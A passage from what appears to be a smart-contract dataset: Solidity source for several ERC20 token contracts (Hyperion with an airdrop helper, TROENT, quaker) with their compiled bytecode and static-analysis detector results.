* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/Hyperion.sol
contract Hyperion is StandardToken {
string public constant name = "Hyperion Token";
string public constant symbol = "HYN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = (10 * 1000 * 1000 * 1000) * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
// File: contracts/HyperionAirdrop.sol
contract HyperionAirdrop is Ownable {
address public token;
constructor(address _token) public {
token = _token;
}
function remainingSupply() public view onlyOwner returns (uint256) {
return Hyperion(token).balanceOf(owner);
}
function balanceOf(address _who) public view onlyOwner returns (uint256) {
return Hyperion(token).balanceOf(_who);
}
function decimalFactor() internal view returns (uint256) {
uint8 decimals = Hyperion(token).decimals();
return (10 ** uint256(decimals));
}
function transfer(address _to, uint256 _value) public onlyOwner returns (bool) {
uint256 _number = SafeMath.mul(_value, decimalFactor());
return Hyperion(token).transferFrom(owner, _to, _number);
}
function batchTransfer(address[] _recipients, uint256[] _values) public onlyOwner returns (bool) {
require(_recipients.length == _values.length);
for(uint256 i = 0; i< _recipients.length; i++)
{
address _to = _recipients[i];
uint256 _value = _values[i];
require(transfer(_to, _value));
}
return true;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
}
|
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806370a082311461009e578063715018a6146100f557806383197ef01461010c57806388d695b2146101235780638da5cb5b146101e4578063a9059cbb1461023b578063da0239a6146102a0578063f2fde38b146102cb578063fc0c546a1461030e575b600080fd5b3480156100aa57600080fd5b506100df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610365565b6040518082815260200191505060405180910390f35b34801561010157600080fd5b5061010a6104c1565b005b34801561011857600080fd5b506101216105c3565b005b34801561012f57600080fd5b506101ca6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610658565b604051808215151515815260200191505060405180910390f35b3480156101f057600080fd5b506101f961073a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024757600080fd5b50610286600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075f565b604051808215151515815260200191505060405180910390f35b3480156102ac57600080fd5b506102b561092e565b6040518082815260200191505060405180910390f35b3480156102d757600080fd5b5061030c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa9565b005b34801561031a57600080fd5b50610323610b10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561047f57600080fd5b505af1158015610493573d6000803e3d6000fd5b505050506040513d60208110156104a957600080fd5b81019080805190602001909291905050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561051c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561061e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106b957600080fd5b845186511415156106c957600080fd5b600092505b855183101561072d5785838151811015156106e557fe5b90602001906020020151915084838151811015156106ff57fe5b906020019060200201519050610715828261075f565b151561072057600080fd5b82806001019350506106ce565b6001935050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107bd57600080fd5b6107ce836107c9610b36565b610c09565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156108ea57600080fd5b505af11580156108fe573d6000803e3d6000fd5b505050506040513d602081101561091457600080fd5b810190808051906020019092919050505091505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082316000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610a6957600080fd5b505af1158015610a7d573d6000803e3d6000fd5b505050506040513d6020811015610a9357600080fd5b8101908080519060200190929190505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0457600080fd5b610b0d81610c41565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610bbf57600080fd5b505af1158015610bd3573d6000803e3d6000fd5b505050506040513d6020811015610be957600080fd5b810190808051906020019092919050505090508060ff16600a0a91505090565b600080831415610c1c5760009050610c3b565b8183029050818382811515610c2d57fe5b04141515610c3757fe5b8090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c7d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058200ccb00405cc71d40433bc631ab4beeb0466dc9b6526bf94a2efd6eff9d6270720029
|
{"success": true, "error": null, "results": {}}
| 4,046 |
0x04ff36ce89687d402f18a5e7ea5fb5e91c327a20
|
/**
*Submitted for verification at Etherscan.io on 2019-07-04
*/
pragma solidity ^0.4.25;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract IERC20Receiver {
function onERC20Received(address from, uint256 value) public returns (bytes4);
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
if (to.isContract()) {
IERC20Receiver(to).onERC20Received(from, value);
}
emit Transfer(from, to, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract TROENT is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
address public owner;
/**
* @dev Constructor function
*/
constructor (string _name, string _symbol, uint8 _decimals, uint256 totalSupply) public {
owner = msg.sender;
name = _name;
symbol = _symbol;
decimals = _decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = totalSupply;
}
}
|
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc578063395093511461020757806342966c681461022b57806370a08231146102455780638da5cb5b1461026657806395d89b4114610297578063a457c2d7146102ac578063a9059cbb146102d0578063dd62ed3e146102f4575b600080fd5b3480156100d557600080fd5b506100de61031b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a03600435166024356103a9565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103bf565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103c5565b3480156101e857600080fd5b506101f161041c565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b50610177600160a060020a0360043516602435610425565b34801561023757600080fd5b50610243600435610461565b005b34801561025157600080fd5b506101a0600160a060020a036004351661046e565b34801561027257600080fd5b5061027b610489565b60408051600160a060020a039092168252519081900360200190f35b3480156102a357600080fd5b506100de61049d565b3480156102b857600080fd5b50610177600160a060020a03600435166024356104f8565b3480156102dc57600080fd5b50610177600160a060020a0360043516602435610534565b34801561030057600080fd5b506101a0600160a060020a0360043581169060243516610541565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a15780601f10610376576101008083540402835291602001916103a1565b820191906000526020600020905b81548152906001019060200180831161038457829003601f168201915b505050505081565b60006103b633848461056c565b50600192915050565b60025490565b60006103d28484846105f8565b600160a060020a03841660009081526001602090815260408083203380855292529091205461041291869161040d908663ffffffff61078e16565b61056c565b5060019392505050565b60055460ff1681565b336000818152600160209081526040808320600160a060020a038716845290915281205490916103b691859061040d908663ffffffff6107a316565b61046b33826107b9565b50565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a15780601f10610376576101008083540402835291602001916103a1565b336000818152600160209081526040808320600160a060020a038716845290915281205490916103b691859061040d908663ffffffff61078e16565b60006103b63384846105f8565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600160a060020a038216151561058157600080fd5b600160a060020a038316151561059657600080fd5b600160a060020a03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600160a060020a038216151561060d57600080fd5b600160a060020a038316600090815260208190526040902054610636908263ffffffff61078e16565b600160a060020a03808516600090815260208190526040808220939093559084168152205461066b908263ffffffff6107a316565b600160a060020a03831660008181526020819052604090209190915561069090610862565b1561073e5781600160a060020a031663bc04f0af84836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561071157600080fd5b505af1158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b50505b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561079d57600080fd5b50900390565b818101828110156107b357600080fd5b92915050565b600160a060020a03821615156107ce57600080fd5b6002546107e1908263ffffffff61078e16565b600255600160a060020a03821660009081526020819052604090205461080d908263ffffffff61078e16565b600160a060020a038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b6000903b11905600a165627a7a72305820846e344fca00e8a4d84e1851e85ce1fd2705ed0d0cc3b4542790cd68855b379a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,047 |
0x126b22d054c2967d52bdb511d85e4c78235fe022
|
/**
* Investors relations: dodododo
**/
pragma solidity ^0.4.18;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Standard
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldXRPCToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract quaker is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "quaker";
string public constant symbol = "QUA";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000;
address ownerWallet;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function quaker(address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
